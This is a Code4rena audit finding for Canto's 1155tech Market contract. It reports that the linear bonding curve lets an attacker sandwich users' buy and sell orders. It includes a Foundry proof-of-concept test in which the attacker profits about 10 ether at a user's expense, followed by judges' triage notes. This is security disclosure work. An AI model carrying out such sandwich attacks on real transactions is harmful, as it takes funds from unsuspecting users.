Platform: Code4rena
Start Date: 13/11/2023
Pot Size: $24,500 USDC
Total HM: 3
Participants: 120
Period: 4 days
Judge: 0xTheC0der
Id: 306
League: ETH
Rank: 105/120
Findings: 1
Award: $1.37
🌟 Selected for report: 0
🚀 Solo Findings: 0
🌟 Selected for report: rvierdiiev
Also found by: 0x175, 0x3b, 0xMango, 0xarno, 0xpiken, Bauchibred, DarkTower, ElCid, Giorgio, HChang26, Kose, KupiaSec, Madalad, PENGUN, Pheonix, RaoulSchaffranek, SpicyMeatball, T1MOH, Tricko, Udsen, Yanchuan, aslanbek, ast3ros, bart1e, bin2chen, chaduke, d3e4, deepkin, developerjordy, glcanvas, inzinko, jasonxiale, jnforja, mahyar, max10afternoon, mojito_auditor, neocrao, nmirchev8, openwide, osmanozdemir1, peanuts, pep7siup, peritoflores, pontifex, rice_cooker, rouhsamad, t0x1c, tnquanghuy0512, turvy_fuzz, twcctop, ustas, vangrim, zhaojie, zhaojohnson
1.3743 USDC - $1.37
https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L150 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/Market.sol#L174 https://github.com/code-423n4/2023-11-canto/blob/335930cd53cf9a137504a57f1215be52c6d67cb3/1155tech-contracts/src/bonding_curve/LinearBondingCurve.sol#L21
An attacker can observe pending transactions in the mempool and execute orders that manipulate the token prices due to the linear nature of the bonding curve. For instance, the bot/attacker can place buy order ahead of a user's transaction, which will inflate the market price. Then, they can sell their holdings immediately after the user's transaction is executed, to get an immediate profit. The sell order can work in the opposite way : selling right before a user to decrease the price. This attack can be done for every order.
This can create frustration for users, lack of trust in the protocol and loss of funds. Since every order/sell transactions are at risk, I consider this issue to be high.
By construction the price/fees of the tokens follow the the LinearBondingCurve model which is a linear increase with the supply. This makes the price very prone to manipulation. Both the fees and price increases with token supply or tokenCount
of the share. However, the price increases even faster than the fees because of the log2.
function getPriceAndFee(uint256 shareCount, uint256 amount) external view override returns (uint256 price, uint256 fee) { for (uint256 i = shareCount; i < shareCount + amount; i++) { @> uint256 tokenPrice = priceIncrease * i; @> price += tokenPrice; fee += (getFee(i) * tokenPrice) / 1e18; } }
The following test demonstrates how an attacker profits from price manipulation during a user purchase. To execute the test forge test --mt testSandwitchBuyer -vv
function testSandwitchBuyer() public { testCreateNewShare(); address attacker = makeAddr("Attacker"); token.mint(attacker, 1000 ether); token.mint(alice, 1000 ether); // Attackers sees Alice tx in the mempool, front runs it and execute a buy order uint256 balanceOfAttackerBefore = token.balanceOf(attacker); vm.prank(attacker); token.approve(address(market), 100 ether); vm.prank(attacker); market.buy(1, 100); console.log(token.balanceOf(attacker)); // Alice's buy order goes through for a premium uint256 balanceOfAliceBefore = token.balanceOf(alice); vm.prank(alice); token.approve(address(market), 100 ether); vm.prank(alice); market.buy(1, 100); console.log(token.balanceOf(alice)); // Attacker immediately sells the shares vm.prank(attacker); market.sell(1, 100); uint256 balanceOfAttackerAfter = token.balanceOf(attacker); console.log(balanceOfAttackerAfter - balanceOfAttackerBefore); // Winning balance : 9792590738095238154 eq 10 ether // Alice sells her shares vm.prank(alice); market.sell(1, 100); uint256 balanceOfAliceAfter = token.balanceOf(alice); console.logInt(int256(balanceOfAliceAfter) -int256(balanceOfAliceBefore)); // Losing balance : -10249383690476190408 or -10 ether }
Manual review && Foundry
MEV
#0 - c4-pre-sort
2023-11-18T11:57:55Z
minhquanym marked the issue as duplicate of #12
#1 - c4-judge
2023-11-28T23:14:14Z
MarioPoneder changed the severity to 2 (Med Risk)
#2 - c4-judge
2023-11-28T23:38:18Z
MarioPoneder marked the issue as satisfactory